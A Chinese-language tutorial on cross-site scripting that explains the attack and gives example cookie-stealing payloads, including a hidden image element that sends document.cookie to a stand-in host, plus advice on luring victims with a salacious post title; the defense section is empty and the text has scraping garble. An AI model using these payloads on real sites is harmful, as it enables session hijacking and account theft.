1、XSS攻击原理 javascript
XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分因此取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它容许恶意用户将代码注入到网页上,其余用户在观看网页时就会受到影响。这类攻击一般包含了HTML以及用户端脚本语言。 html
XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,由于有了cookie至关于有了seesion,有了这些信息就能够在任意能接进互联网的pc登录该网站,并以其余人的生份登录,作一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义 java
举例:
上面的代码就是输入一个网络分享的图片,我在src中直接写入了javascript:alert('xss');操做成功后生成帖子,用IE六、7的用户打开这个我发的这个帖子就会出现下图的alert('xss')弹窗。 如图:
固然我会将标题设计的很是吸引人点击,好比 “陈冠希艳照又有流出2012版(20P无码)” ,这样若是我将里面的alert换成恶意代码,好比:
location.href='http://www.xss.com?cookie='+document.cookie’;或者<a href='http://www.xss.com?cookie='+document.cookie>。用户的cookie我也拿到了,若是服务端session没有设置过时的话,我之后甚至拿这个cookie而不需用户名密码,就能够以这个用户的身份登陆成功了。
这里的location.href只是处于简单这样作,若是作了跳转这个帖子很快会被管理员删除,可是若是我写以下代码,而且帖子的内容也是比较真实的,说不定这个帖子就会祸害不少人: 浏览器
var img = document.createElement('img'); img.src='http://www.xss.com?cookie='+document.cookie; img.style.display='none'; document.getElementsByTagName('body')[0].appendChild(img);
这样就神不知鬼不觉的把当前用户的cookie发送给了个人恶意站点,个人恶意站点经过获取get参数就拿到了用户的cookie。固然咱们能够经过这个方法拿到用户各类各样的数据。安全
2、防护措施cookie